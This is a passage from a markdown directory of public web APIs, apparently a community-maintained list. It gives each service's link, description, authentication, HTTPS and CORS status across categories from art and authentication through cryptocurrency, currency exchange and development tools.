`apiKey` \| Yes \| Unknown \| \| [Harvard Art Museums](https://github.com/harvardartmuseums/api-docs) \| Art \| `apiKey` \| No \| Unknown \| \| [Icon Horse](https://icon.horse/usage) \| Favicons for any website, with fallbacks \| No \| Yes \| Yes \| \| [Iconfinder](https://developer.iconfinder.com) \| Icons \| `apiKey` \| Yes \| Unknown \| \| [Icons8](https://img.icons8.com/) \| Icons (find "search icon" hyperlink in page) \| No \| Yes \| Unknown \| \| [Lordicon](https://lordicon.com/) \| Icons with predone Animations \| No \| Yes \| Yes \| \| [Metropolitan Museum of Art](https://metmuseum.github.io/) \| Met Museum of Art \| No \| Yes \| No \| \| [Noun Project](http://api.thenounproject.com/index.html) \| Icons \| `OAuth`\| No \| Unknown \| \| [PHP-Noise](https://php-noise.com/) \| Noise Background Image Generator \| No \| Yes \| Yes \| \| [Pika](https://pika.style/image-generation-api) \| Image Generation API \| `apiKey` \| Yes \| Yes \| \| [Rijksmuseum](https://data.rijksmuseum.nl/object-metadata/api/) \| RijksMuseum Data \| `apiKey` \| Yes \| Unknown \| \| [The Color](https://www.thecolorapi.com/) \| Swiss army knife for color \| No \| No \| Unknown \| \| [Word Cloud](https://wordcloudapi.com/) \| Easily create word clouds \| `apiKey` \| Yes \| Unknown \| \| [xColors](https://github.com/cheatsnake/xColors-api) \| Generate & convert colors \| No \| Yes \| Yes \| [⬆ Back to Index](#index) ### Authentication & Authorization \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Auth0](https://auth0.com) \| Easy to implement, adaptable authentication and authorization platform \| `apiKey` \| Yes \| Yes \| \| [Clerk](https://clerk.com) \| Drop-in React components for authentication and authorization \| `apiKey` \| Yes \| Yes \| \| [Corbado](https://corbado.com) \| Passkey-first authentication \| `apiKey` \| Yes \| Yes \| \| [GetOTP](https://otp.dev/en/docs/) \| Implement OTP flow quickly \| `apiKey` \| Yes \| No \| \| [Kinde](https://kinde.com) \| Authentication for modern applications. Integrates in minutes and free up to 7,500 MAU \| `OAuth` \| Yes \| No \| \| [Micro User Service](https://m3o.com/user) \| User management and authentication \| `apiKey` \| Yes \| No \| \| [MojoAuth](https://mojoauth.com) \| Secure and modern passwordless authentication platform \| `apiKey` \| Yes \| Yes \| \| [Stytch](https://stytch.com/) \| User infrastructure for modern applications \| `apiKey` \| Yes \| No \| \| [Warrant](https://docs.warrant.dev/) \| APIs for authorization and access control \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Blockchain \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Bitquery](https://graphql.bitquery.io/ide) \| Onchain GraphQL APIs & DEX APIs \| `apiKey` \| Yes \| Yes \| \| [Bscscan](https://bscscan.com/apis) \| Binance Smart Chain explorer API \| `apiKey` \| Yes \| Yes \| \| [Chainlink](https://chain.link/developer-resources) \| Build hybrid smart contracts with Chainlink \| No \| Yes \| Unknown \| \| [Chainpoint](https://tierion.com/chainpoint/) \| Chainpoint is a global network for anchoring data to the Bitcoin blockchain \| No \| Yes \| Unknown \| \| [Covalent](https://www.covalenthq.com/docs/api/) \| Multi-blockchain data aggregator platform \| `apiKey` \| Yes \| Unknown \| \| [Etherscan](https://etherscan.io/apis) \| Ethereum explorer API \| `apiKey` \| Yes \| Yes \| \| [GetBlock](https://getblock.io/) \| Blockchain RPC Node provider that supports over 50 multiple blockchains \| `apiKey` \| Yes \| Unknown \| \| [Helium](https://docs.helium.com/api/blockchain/introduction/) \| Helium is a global, distributed network of Hotspots that create public, long-range wireless coverage \| No \| Yes \| Unknown \| \| [Nownodes](https://nownodes.io/) \| Blockchain-as-a-service solution that provides high-quality connection via API \| `apiKey` \| Yes \| Unknown \| \| [Steem](https://developers.steem.io/) \| Blockchain-based blogging and social media website \| No \| No \| No \| \| [The Graph](https://thegraph.com) \| Indexing protocol for querying networks like Ethereum with GraphQL \| `apiKey` \| Yes \| Unknown \| \| [Watchdata](https://docs.watchdata.io) \| Provide simple and reliable API access to Ethereum blockchain \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Books \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [A Bíblia Digital](https://www.abibliadigital.com.br/en) \| Do not worry about managing the multiple versions of the Bible \| `apiKey` \| Yes \| No \| \| [Bhagavad Gita](https://bhagavadgitaapi.in) \| Open Source Shrimad Bhagavad Gita API including 21+ authors translation in Sanskrit/English/Hindi \| `apiKey` \| Yes \| Yes \| \| [Bhagavad Gita](https://bhagavadgita.io/api) \| Bhagavad Gita text \| `OAuth`\| Yes \| Yes \| \| [Bhagavad Gita telugu](https://gita-api.vercel.app) \| Bhagavad Gita API in telugu and odia languages \| No \| Yes \| Yes \| \| [Bible-api](https://bible-api.com/) \| Free Bible API with multiple languages \| No \| Yes \| Yes \| \| [Crossref Metadata Search](https://github.com/CrossRef/rest-api-doc) \| Books & Articles Metadata \| No \| Yes \| Unknown \| \| [Ganjoor](https://api.ganjoor.net) \| Classic Persian poetry works including access to related manuscripts, recitations and music tracks \| `OAuth`\| Yes \| Yes \| \| [Google Books](https://developers.google.com/books/) \| Books \| `OAuth`\| Yes \| Unknown \| \| [Gutendex](https://gutendex.com/) \| Web-API for fetching data from Project Gutenberg Books Library \| No \| Yes \| Unknown \| \| [Harry Potter](https://github.com/fedeperin/potterapi) \| API to get data from Harry Potter books, movies and characters \| No \| Yes \| Yes \| \| [Open Library](https://openlibrary.org/developers/api) \| Books, book covers and related data \| No \| Yes \| No \| \| [Penguin Publishing](http://www.penguinrandomhouse.biz/webservices/rest/) \| Books, book covers and related data \| No \| Yes \| Yes \| \| [PoetryDB](https://github.com/thundercomb/poetrydb#readme) \| Enables you to get instant data from our vast poetry collection \| No \| Yes \| Yes \| \| [Quran](https://quran.api-docs.io/) \| RESTful Quran API with multiple languages \| No \| Yes \| Yes \| \| [Quran Cloud](https://alquran.cloud/api) \| A RESTful Quran API to retrieve an Ayah, Surah, Juz or the entire Holy Quran \| No \| Yes \| Yes \| \| [Quran-api](https://github.com/fawazahmed0/quran-api#readme) \| Free Quran API Service with 90+ different languages and 400+ translations \| No \| Yes \| Yes \| \| [Stephen King](https://stephen-king-api.onrender.com/) \| The varied works and characters of the prolific author Stephen King \| No \| Yes \| Unknown \| \| [The Bible](https://docs.api.bible) \| Everything you need from the Bible in one discoverable place \| `apiKey` \| Yes \| Unknown \| \| [Thirukkural](https://api-thirukkural.web.app/) \| 1330 Thirukkural poems and explanation in Tamil and English \| No \| Yes \| Yes \| \| [Wizard World](https://wizard-world-api.herokuapp.com/swagger/index.html) \| Get information from the Harry Potter universe \| No \| Yes \| Yes \| \| [Wolne Lektury](https://wolnelektury.pl/api/) \| API for obtaining information about e-books available on the WolneLektury.pl website \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Business \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Apache Superset](https://superset.apache.org/docs/api) \| API to manage your BI dashboards and data sources on Superset \| `apiKey` \| Yes \| Yes \| \| [ArvanCloud](https://www.arvancloud.ir/en/dev/sdk) \| Enables you to use ArvanCloud services \| `apiKey` \| Yes \| No \| \| [Charity Search](http://charityapi.orghunter.com/) \| Non-profit charity data \| `apiKey` \| No \| Unknown \| \| [Clearbit Logo](https://clearbit.com/docs#logo-api) \| Search for company logos and embed them in your projects \| `apiKey` \| Yes \| Unknown \| \| [Domainsdb.info](https://domainsdb.info/) \| Registered Domain Names Search \| No \| Yes \| No \| \| [Freelancer](https://developers.freelancer.com) \| Hire freelancers to get work done \| `OAuth`\| Yes \| Unknown \| \| [Gmail](https://developers.google.com/gmail/api/) \| Flexible, RESTful access to the user's inbox \| `OAuth`\| Yes \| Unknown \| \| [Google Analytics](https://developers.google.com/analytics/) \| Collect, configure and analyze your data to reach the right audience \| `OAuth`\| Yes \| Unknown \| \| [Instatus](https://instatus.com/help/api) \| Post to and update maintenance and incidents on your status page through an HTTP REST API \| `apiKey` \| Yes \| Unknown \| \| [Mailchimp](https://mailchimp.com/developer/) \| Send marketing campaigns and transactional mails \| `apiKey` \| Yes \| Unknown \| \| [mailjet](https://www.mailjet.com/) \| Marketing email can be sent and mail templates made in MJML or HTML can be sent using API \| `apiKey` \| Yes \| Unknown \| \| [markerapi](https://markerapi.com) \| Trademark Search \| No \| No \| Unknown \| \| [Redash](https://redash.io/help/user-guide/integrations-and-api/api) \| Access your queries and dashboards on Redash \| `apiKey` \| Yes \| Yes \| \| [Smartsheet](https://smartsheet.redoc.ly/) \| Allows you to programmatically access and Smartsheet data and account information \| `OAuth`\| Yes \| No \| \| [Square](https://developer.squareup.com/reference/square) \| Easy way to take payments, manage refunds, and help customers checkout online \| `OAuth`\| Yes \| Unknown \| \| [SwiftKanban](https://www.digite.com/knowledge-base/swiftkanban/article/api-for-swift-kanban-web-services/#restapi) \| Kanban software, Visualize Work, Increase Organizations Lead Time, Throughput & Productivity \| `apiKey` \| Yes \| Unknown \| \| [Tenders in Hungary](https://tenders.guru/hu/api) \| Get data for procurements in Hungary in JSON format \| No \| Yes \| Unknown \| \| [Tenders in Poland](https://tenders.guru/pl/api) \| Get data for procurements in Poland in JSON format \| No \| Yes \| Unknown \| \| [Tenders in Romania](https://tenders.guru/ro/api) \| Get data for procurements in Romania in JSON format \| No \| Yes \| Unknown \| \| [Tenders in Spain](https://tenders.guru/es/api) \| Get data for procurements in Spain in JSON format \| No \| Yes \| Unknown \| \| [Tenders in Ukraine](https://tenders.guru/ua/api) \| Get data for procurements in Ukraine in JSON format \| No \| Yes \| Unknown \| \| [Tomba email finder](https://tomba.io/api) \| Email Finder for B2B sales and email marketing and email verifier \| `apiKey` \| Yes \| Yes \| \| [Trello](https://developers.trello.com/) \| Boards, lists and cards to help you organize and prioritize your projects \| `OAuth`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Calendar \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Abstract Public Holidays](https://www.abstractapi.com/holidays-api) \| Data on national, regional, and religious holidays via API \| `apiKey` \| Yes \| Yes \| \| [Calendarific](https://calendarific.com/) \| Worldwide Holidays \| `apiKey` \| Yes \| Unknown \| \| [Church Calendar](http://calapi.inadiutorium.cz/) \| Catholic liturgical calendar \| No \| No \| Unknown \| \| [Czech Namedays Calendar](https://svatky.adresa.info) \| Lookup for a name and returns nameday date \| No \| No \| Unknown \| \| [DigiDates](https://digidates.de/en/) \| Various date and time calculations \| No \| Yes \| Yes \| \| [Festivo Public Holidays](https://docs.getfestivo.com/docs/products/public-holidays-api/intro) \| Fastest and most advanced public holiday and observance service on the market \| `apiKey` \| Yes \| Yes \| \| [Generate iCAL](https://apyhub.com/utility/generator-ical) \| Generates iCal calendar events that can be used across calendar applications \| `apiKey` \| Yes \| Yes \| \| [Google Calendar](https://developers.google.com/google-apps/calendar/) \| Display, create and modify Google calendar events \| `OAuth`\| Yes \| Unknown \| \| [Hebrew Calendar](https://www.hebcal.com/home/developer-apis) \| Convert between Gregorian and Hebrew, fetch Shabbat and Holiday times, etc \| No \| No \| Unknown \| \| [Holidays](https://holidayapi.com/) \| Historical data regarding holidays \| `apiKey` \| Yes \| Unknown \| \| [LectServe](http://www.lectserve.com) \| Protestant liturgical calendar \| No \| No \| Unknown \| \| [Nager.Date](https://date.nager.at) \| Public holidays for more than 90 countries \| No \| Yes \| No \| \| [Namedays Calendar](https://nameday.abalin.net) \| Provides namedays for multiple countries \| No \| Yes \| Yes \| \| [Non-Working Days](https://github.com/gadael/icsdb) \| Database of ICS files for non working days \| No \| Yes \| Unknown \| \| [Non-Working Days](https://isdayoff.ru) \| Simple REST API for checking working, non-working or short days for Russia, CIS, USA and other \| No \| Yes \| Yes \| \| [OpenHolidays API](https://www.openholidaysapi.org/) \| Public and school holidays for many countries via an open REST API \| No \| Yes \| Yes \| \| [Orthodox Church Calendar](http://orthodox-calendar.org/swagger-ui/index.html?urls.primaryName=public#/public-controller/getData) \| Orthodox Church calendar \| No \| No \| Unknown \| \| [Russian Calendar](https://github.com/egno/work-calendar) \| Check if a date is a Russian holiday or not \| No \| Yes \| No \| \| [UK Bank Holidays](https://www.gov.uk/bank-holidays.json) \| Bank holidays in England and Wales, Scotland and Northern Ireland \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Cloud Storage & File Sharing \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Box](https://developer.box.com/) \| File Sharing and Storage \| `OAuth`\| Yes \| Unknown \| \| [ddownload](https://ddownload.com/api) \| File Sharing and Storage \| `apiKey` \| Yes \| Unknown \| \| [Dropbox](https://www.dropbox.com/developers) \| File Sharing and Storage \| `OAuth`\| Yes \| Unknown \| \| [File.io](https://www.file.io) \| Super simple file sharing, convenient, anonymous and secure \| No \| Yes \| Unknown \| \| [Gcore Storage](https://docs.gcore.com/storage) \| S3-Compatible Object Storage is a fast and scalable cloud storage system by Gcore that gives you an opportunity to store and retrieve any amount of data at any time. High-performance storage for use as a CDN origin. \| `apiKey` \| Yes \| Yes \| \| [GoFile](https://gofile.io/api) \| Unlimited size file uploads for free \| `apiKey` \| Yes \| Unknown \| \| [Google Drive](https://developers.google.com/drive/) \| File Sharing and Storage \| `OAuth`\| Yes \| Unknown \| \| [Gyazo](https://gyazo.com/api/docs) \| Save & Share screen captures instantly \| `apiKey` \| Yes \| Unknown \| \| [Imgbb](https://api.imgbb.com/) \| Simple and quick private image sharing \| `apiKey` \| Yes \| Unknown \| \| [OneDrive](https://developer.microsoft.com/onedrive) \| File Sharing and Storage \| `OAuth`\| Yes \| Unknown \| \| [Pantry](https://getpantry.cloud/) \| Free JSON storage for small projects \| No \| Yes \| Yes \| \| [Pastebin](https://pastebin.com/doc_api) \| Plain Text Storage \| `apiKey` \| Yes \| Unknown \| \| [Pinata](https://docs.pinata.cloud/) \| IPFS Pinning Services API \| `apiKey` \| Yes \| Unknown \| \| [Quip](https://quip.com/dev/automation/documentation) \| File Sharing and Storage for groups \| `apiKey` \| Yes \| Yes \| \| [Smash](https://api.fromsmash.com/) \| Upload large files on websites, mobile apps, SaaS solutions and custom workflows \| `apiKey` \| Yes \| Yes \| \| [Storj](https://docs.storj.io/dcs/) \| Decentralized Open-Source Cloud Storage \| `apiKey` \| Yes \| Unknown \| \| [The Null Pointer](https://0x0.st) \| No-bullshit file hosting and URL shortening service \| No \| Yes \| Unknown \| \| [Web3 Storage](https://web3.storage/) \| File Sharing and Storage for Free with 1TB Space \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Continuous Integration \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Azure DevOps Health](https://docs.microsoft.com/en-us/rest/api/resourcehealth) \| Resource health helps you diagnose and get support when an Azure issue impacts your resources \| `apiKey` \| No \| No \| \| [Bitrise](https://api-docs.bitrise.io/) \| Build tool and processes integrations to create efficient development pipelines \| `apiKey` \| Yes \| Unknown \| \| [Buddy](https://buddy.works/docs/api/getting-started/overview) \| The fastest continuous integration and continuous delivery platform \| `OAuth`\| Yes \| Unknown \| \| [CircleCI](https://circleci.com/docs/api/v1-reference/) \| Automate the software development process using continuous integration and continuous delivery \| `apiKey` \| Yes \| Unknown \| \| [Codeship](https://docs.cloudbees.com/docs/cloudbees-codeship/latest/api-overview/) \| Codeship is a Continuous Integration Platform in the cloud \| `apiKey` \| Yes \| Unknown \| \| [Travis CI](https://docs.travis-ci.com/api/) \| Sync your GitHub projects with Travis CI to test your code in minutes \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Cryptocurrency \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [1inch](https://1inch.io/api/) \| API for querying decentralize exchange \| No \| Yes \| Unknown \| \| [Alchemy Ethereum](https://docs.alchemy.com/alchemy/) \| Ethereum Node-as-a-Service Provider \| `apiKey` \| Yes \| Yes \| \| [Binance](https://github.com/binance/binance-spot-api-docs) \| Exchange for Trading Cryptocurrencies based in China \| `apiKey` \| Yes \| Unknown \| \| [BitcoinAverage](https://apiv2.bitcoinaverage.com/) \| Digital Asset Price Data for the blockchain industry \| `apiKey` \| Yes \| Unknown \| \| [BitcoinCharts](https://bitcoincharts.com/about/exchanges/) \| Financial and Technical Data related to the Bitcoin Network \| No \| Yes \| Unknown \| \| [Bitfinex](https://docs.bitfinex.com/docs) \| Cryptocurrency Trading Platform \| `apiKey` \| Yes \| Unknown \| \| [Bitmex](https://www.bitmex.com/app/apiOverview) \| Real-Time Cryptocurrency derivatives trading platform based in Hong Kong \| `apiKey` \| Yes \| Unknown \| \| [Block](https://block.io/docs/basic) \| Bitcoin Payment, Wallet & Transaction Data \| `apiKey` \| Yes \| Unknown \| \| [BlockBee](https://docs.blockbee.io/) \| Cryptocurrency Payment Processor \| `apiKey` \| Yes \| Unknown \| \| [Blockchain](https://www.blockchain.com/api) \| Bitcoin Payment, Wallet & Transaction Data \| `apiKey` \| Yes \| Unknown \| \| [blockfrost Cardano](https://blockfrost.io/) \| Interaction with the Cardano mainnet and several testnets \| `apiKey` \| Yes \| Unknown \| \| [Brave NewCoin](https://bravenewcoin.com/developers) \| Real-time and historic crypto data from more than 200+ exchanges \| `apiKey` \| Yes \| Unknown \| \| [BtcTurk](https://docs.btcturk.com/) \| Real-time cryptocurrency data, graphs and API that allows buy&sell \| `apiKey` \| Yes \| Yes \| \| [Bybit](https://bybit-exchange.github.io/docs/linear/#t-introduction) \| Cryptocurrency data feed and algorithmic trading \| `apiKey` \| Yes \| Unknown \| \| [CoinAPI](https://docs.coinapi.io/) \| All Currency Exchanges integrate under a single api \| `apiKey` \| Yes \| No \| \| [Coinbase](https://developers.coinbase.com) \| Bitcoin, Bitcoin Cash, Litecoin and Ethereum Prices \| `apiKey` \| Yes \| Unknown \| \| [Coinbase Pro](https://docs.pro.coinbase.com/#api) \| Cryptocurrency Trading Platform \| `apiKey` \| Yes \| Unknown \| \| [CoinCap](https://docs.coincap.io/) \| Real time Cryptocurrency prices through a RESTful API \| No \| Yes \| Unknown \| \| [CoinDCX](https://docs.coindcx.com/) \| Cryptocurrency Trading Platform \| `apiKey` \| Yes \| Unknown \| \| [CoinGecko](http://www.coingecko.com/api) \| Cryptocurrency Price, Market, and Developer/Social Data \| No \| Yes \| Yes \| \| [Coinigy](https://coinigy.docs.apiary.io) \| Interacting with Coinigy Accounts and Exchange Directly \| `apiKey` \| Yes \| Unknown \| \| [Coinlib](https://coinlib.io/apidocs) \| Crypto Currency Prices \| `apiKey` \| Yes \| Unknown \| \| [Coinlore](https://www.coinlore.com/cryptocurrency-data-api) \| Cryptocurrencies prices, volume and more \| No \| Yes \| Unknown \| \| [CoinMarketCap](https://coinmarketcap.com/api/) \| Cryptocurrencies Prices \| `apiKey` \| Yes \| Unknown \| \| [Coinpaprika](https://api.coinpaprika.com) \| Cryptocurrencies prices, volume and more \| No \| Yes \| Yes \| \| [CoinRanking](https://developers.coinranking.com/api/documentation) \| Live Cryptocurrency data \| `apiKey` \| Yes \| Unknown \| \| [Coinremitter](https://coinremitter.com/docs) \| Cryptocurrencies Payment & Prices \| `apiKey` \| Yes \| Unknown \| \| [CoinStats](https://documenter.getpostman.com/view/5734027/RzZ6Hzr3?version=latest) \| Crypto Tracker \| No \| Yes \| Unknown \| \| [CryptAPI](https://docs.cryptapi.io/) \| Cryptocurrency Payment Processor \| No \| Yes \| Unknown \| \| [CryptoCompare](https://www.cryptocompare.com/api#) \| Cryptocurrencies Comparison \| No \| Yes \| Unknown \| \| [CryptoMarket](https://api.exchange.cryptomkt.com/) \| Cryptocurrencies Trading platform \| `apiKey` \| Yes \| Yes \| \| [dYdX](https://docs.dydx.exchange/) \| Decentralized cryptocurrency exchange \| `apiKey` \| Yes \| Unknown \| \| [Ethplorer](https://github.com/EverexIO/Ethplorer/wiki/Ethplorer-API) \| Ethereum tokens, balances, addresses, history of transactions, contracts, and custom structures \| `apiKey` \| Yes \| Unknown \| \| [EXMO](https://documenter.getpostman.com/view/10287440/SzYXWKPi) \| Cryptocurrencies exchange based in UK \| `apiKey` \| Yes \| Unknown \| \| [Gateio](https://www.gate.io/api2) \| API provides spot, margin and futures trading operations \| `apiKey` \| Yes \| Unknown \| \| [Gemini](https://docs.gemini.com/rest-api/) \| Cryptocurrencies Exchange \| No \| Yes \| Unknown \| \| [Huobi](https://huobiapi.github.io/docs/spot/v1/en/) \| Seychelles based cryptocurrency exchange \| `apiKey` \| Yes \| Unknown \| \| [Indodax](https://github.com/btcid/indodax-official-api-docs) \| Trade your Bitcoin and other assets with rupiah \| `apiKey` \| Yes \| Unknown \| \| [INFURA Ethereum](https://infura.io/product/ethereum) \| Interaction with the Ethereum mainnet and several testnets \| `apiKey` \| Yes \| Yes \| \| [Kraken](https://docs.kraken.com/rest/) \| Cryptocurrencies Exchange \| `apiKey` \| Yes \| Unknown \| \| [KuCoin](https://docs.kucoin.com/) \| Cryptocurrency Trading Platform \| `apiKey` \| Yes \| Unknown \| \| [Mempool](https://mempool.space/api) \| Bitcoin API Service focusing on the transaction fee \| No \| Yes \| No \| \| [MercadoBitcoin](https://www.mercadobitcoin.com.br/api-doc/) \| Brazilian Cryptocurrency Information \| No \| Yes \| Unknown \| \| [Messari](https://messari.io/api) \| Provides API endpoints for thousands of crypto assets \| No \| Yes \| Unknown \| \| [Nexchange](https://nexchange2.docs.apiary.io/) \| Automated cryptocurrency exchange service \| No \| No \| Yes \| \| [NovaDax](https://doc.novadax.com/en-US/#introduction) \| NovaDAX API to access all market data, trading management endpoints \| `apiKey` \| Yes \| Unknown \| \| [OKEx](https://okx.com/okx-api) \| Cryptocurrency exchange based in Seychelles \| `apiKey` \| Yes \| Unknown \| \| [OpenSea](https://docs.opensea.io/reference/api-overview) \| The Largest NFT Marketplace \| `apiKey` \| Yes \| No \| \| [Poloniex](https://docs.poloniex.com) \| US based digital asset exchange \| `apiKey` \| Yes \| Unknown \| \| [Solana JSON RPC](https://docs.solana.com/developing/clients/jsonrpc-api) \| Provides various endpoints to interact with the Solana Blockchain \| No \| Yes \| Unknown \| \| [Technical Analysis](https://technical-analysis-api.com) \| Cryptocurrency prices and technical analysis \| `apiKey` \| Yes \| No \| \| [Trading View](https://www.tradingview.com/rest-api-spec/) \| Market price, data, graph for brokers and traders \| `OAuth` \| Yes \| Unknown \| \| [Tron Network](https://developers.tron.network/reference/api-key) \| Provides various endpoints to interact with the Tron Blockchain \| No \| Yes \| Unknown \| \| [VALR](https://docs.valr.com/) \| Cryptocurrency Exchange based in South Africa \| `apiKey` \| Yes \| Unknown \| \| [WorldCoinIndex](https://www.worldcoinindex.com/apiservice) \| Cryptocurrencies Prices \| `apiKey` \| Yes \| Unknown \| \| [ZMOK](https://docs.zmok.io) \| Ethereum JSON RPC API and Web3 provider \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Currency Exchange \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [1Forge](https://1forge.com/forex-data-api/api-documentation) \| Forex currency market data \| `apiKey` \| Yes \| Unknown \| \| [Amdoren](https://www.amdoren.com/currency-api/) \| Free currency API with over 150 currencies \| `apiKey` \| Yes \| Unknown \| \| [Bank of Russia](https://www.cbr.ru/development/SXML/) \| Exchange rates and currency conversion \| No \| Yes \| Unknown \| \| [BCV (Banco Central de Venezuela) Exchange rate](https://bcv-api.rafnixg.dev/docs) \| Exchange rates of the BCV (Central Bank of Venezuela) API \| `apiKey` \| Yes \| No \| \| [Currencyapi](https://currencyapi.com) \| Currency Conversion API and cryptocurrency prices, updated minutely \| `apiKey` \| Yes \| Yes \| \| [Currency-api](https://github.com/fawazahmed0/currency-api#readme) \| Free Currency Exchange Rates API with 150+ Currencies & No Rate Limits \| No \| Yes \| Yes \| \| [CurrencyFreaks](https://currencyfreaks.com/) \| Provides current and historical currency exchange rates with free plan 1K requests/month \| `apiKey` \| Yes \| Yes \| \| [CurrencyScoop](https://currencyscoop.com/api-documentation) \| Real-time and historical currency rates JSON API \| `apiKey` \| Yes \| Yes \| \| [Czech National Bank](https://www.cnb.cz/cs/financni_trhy/devizovy_trh/kurzy_devizoveho_trhu/denni_kurz.xml) \| A collection of exchange rates \| No \| Yes \| Unknown \| \| [Economia.Awesome](https://docs.awesomeapi.com.br/api-de-moedas) \| Portuguese free currency prices and conversion with no rate limits \| No \| Yes \| Unknown \| \| [ExchangeRate-API](https://www.exchangerate-api.com) \| Free currency conversion \| `apiKey` \| Yes \| Yes \| \| [Exchangerate.host](https://exchangerate.host) \| Free foreign exchange & crypto rates API \| `apiKey` \| Yes \| Unknown \| \| [Frankfurter](https://www.frankfurter.app/docs) \| Exchange rates, currency conversion and time series \| No \| Yes \| Yes \| \| [FreeForexAPI](https://freeforexapi.com/Home/Api) \| Real-time foreign exchange rates for major currency pairs \| `apiKey` \| Yes \| No \| \| [FxRatesAPI](https://fxratesapi.com/) \| Real-time exchange rates, historical rates and currency conversion \| No \| Yes \| No \| \| [FyGraph](https://fygraph.com) \| GraphQL API of latest 1.000+ crypto and 167+ fiat updated every minute \| `apiKey` \| Yes \| Yes \| \| [Manyapis](https://manyapis.com/products/currency/usd-to-eur-rate) \| Exchange rates and currency conversion with free plan 50 requests/day \| `apiKey` \| Yes \| Yes \| \| [MetalpriceAPI](https://metalpriceapi.com) \| Real-time and historical exchange rates and currency conversion API \| `apiKey` \| Yes \| Unknown \| \| [National Bank of Poland](http://api.nbp.pl/en.html) \| A collection of currency exchange rates (data in XML and JSON) \| No \| Yes \| Yes \| \| [VATComply.com](https://www.vatcomply.com/documentation) \| Exchange rates, geolocation and VAT number validation \| No \| Yes \| Yes \| \| [Convert Currency to Multiple Currencies](https://apyhub.com/utility/currency-conversion-multiple) \| Convert currencies from a source currency to multiple target currencies. \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Data Validation \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [API Adresse](https://adresse.data.gouv.fr/api-doc/adresse) \| Official French address validation service \| No \| Yes \| Unknown \| \| [Brevo Suit](https://developers.brevo.com/) \| Connection for brevo CRM suite \| `apiKey` \| Yes \| Yes \| \| [Lob.com](https://lob.com/) \| US Address Verification \| `apiKey` \| Yes \| Unknown \| \| [Postman Echo](https://www.postman-echo.com) \| Test api server to receive and return value from HTTP method \| No \| Yes \| Unknown \| \| [PurgoMalum](http://www.purgomalum.com) \| Content validator against profanity & obscenity \| No \| No \| Unknown \| \| [US Autocomplete](https://www.smarty.com/docs/cloud/us-autocomplete-pro-api) \| Enter address data quickly with real-time address suggestions \| `apiKey` \| Yes \| Yes \| \| [US Extract](https://www.smarty.com/products/apis/us-extract-api) \| Extract postal addresses from any text including emails \| `apiKey` \| Yes \| Yes \| \| [US Street Address](https://www.smarty.com/docs/cloud/us-street-api) \| Validate and append data for any US postal address \| `apiKey` \| Yes \| Yes \| \| [Validate UK Postcodes](https://apyhub.com/utility/data-postcodes-uk) \| This API validates postal codes within UK \| `apiKey` \| Yes \| Yes \| \| [VatcheckAPI](https://vatcheckapi.com) \| VAT Number Validation & Lookup REST API \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Development \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [24 Pull Requests](https://24pullrequests.com/api) \| Project to promote open source collaboration during December \| No \| Yes \| Yes \| \| [Abstract Screenshot](https://www.abstractapi.com/website-screenshot-api) \| Take programmatic screenshots of web pages from any website \| `apiKey`\| Yes \| Yes \| \| [Agify.io](https://agify.io) \| Estimates the age from a first name \| No \| Yes \| Yes \| \| [API Grátis](https://apigratis.com.br/) \| Multiples services and public APIs \| No \| Yes \| Unknown \| \| [ApicAgent](https://www.apicagent.com) \| Extract device details from user-agent string \| No \| Yes \| Yes \| \| [ApiFlash](https://apiflash.com/) \| Chrome based screenshot API for developers \| `apiKey`\| Yes \| Unknown \| \| [APIs.guru](https://apis.guru/api-doc/) \| Wikipedia for Web APIs, OpenAPI/Swagger specs for public APIs \| No \| Yes \| Unknown \| \| [ApyHub](https://apyhub.com/catalog) \| 110+ APIs to add to your next software application \| `apiKey` \| Yes \| Yes \| \| [Azure DevOps](https://docs.microsoft.com/en-us/rest/api/azure/devops) \| The Azure DevOps basic components of a REST API request/response pair \| `apiKey`\| Yes \| Unknown \| \| [Beeceptor](https://beeceptor.com/) \| Build a mock Rest API endpoint in seconds \| No \| Yes \| Yes \| \| [Bitbucket](https://developer.atlassian.com/bitbucket/api/2/reference/) \| Bitbucket API \| `OAuth` \| Yes \| Unknown \| \| [Blague.xyz](https://blague.xyz/) \| La plus grande API de Blagues FR/The biggest FR jokes API \| `apiKey`\| Yes \| Yes \| \| [Blitapp](https://blitapp.com/api/) \| Schedule screenshots of web pages and sync them to your cloud \| `apiKey`\| Yes \| Unknown \| \| [Blynk-Cloud](https://blynkapi.docs.apiary.io/#) \| Control IoT Devices from Blynk IoT Cloud \| `apiKey`\| No \| Unknown \| \| [Bored](https://www.boredapi.com/) \| Find random activities to fight boredom \| No \| Yes \| Unknown \| \| [Brainshop.ai](https://brainshop.ai/) \| Make A Free A.I Brain \| `apiKey`\| Yes \| Yes \| \| [Brave Search API](https://brave.com/search/api/) \| An index of billions of pages in a single call \| `apiKey`\| Yes \| No \| \| [BrowserCat](https://www.browsercat.com/) \| Headless browser API for automation, scraping, and more \| `apiKey` \| Yes \| Yes \| \| [Browshot](https://browshot.com/api/documentation) \| Easily make screenshots of web pages in any screen size, as any device \| `apiKey`\| Yes \| Yes \| \| [CDNJS](https://api.cdnjs.com/libraries/jquery) \| Library info on CDNJS \| 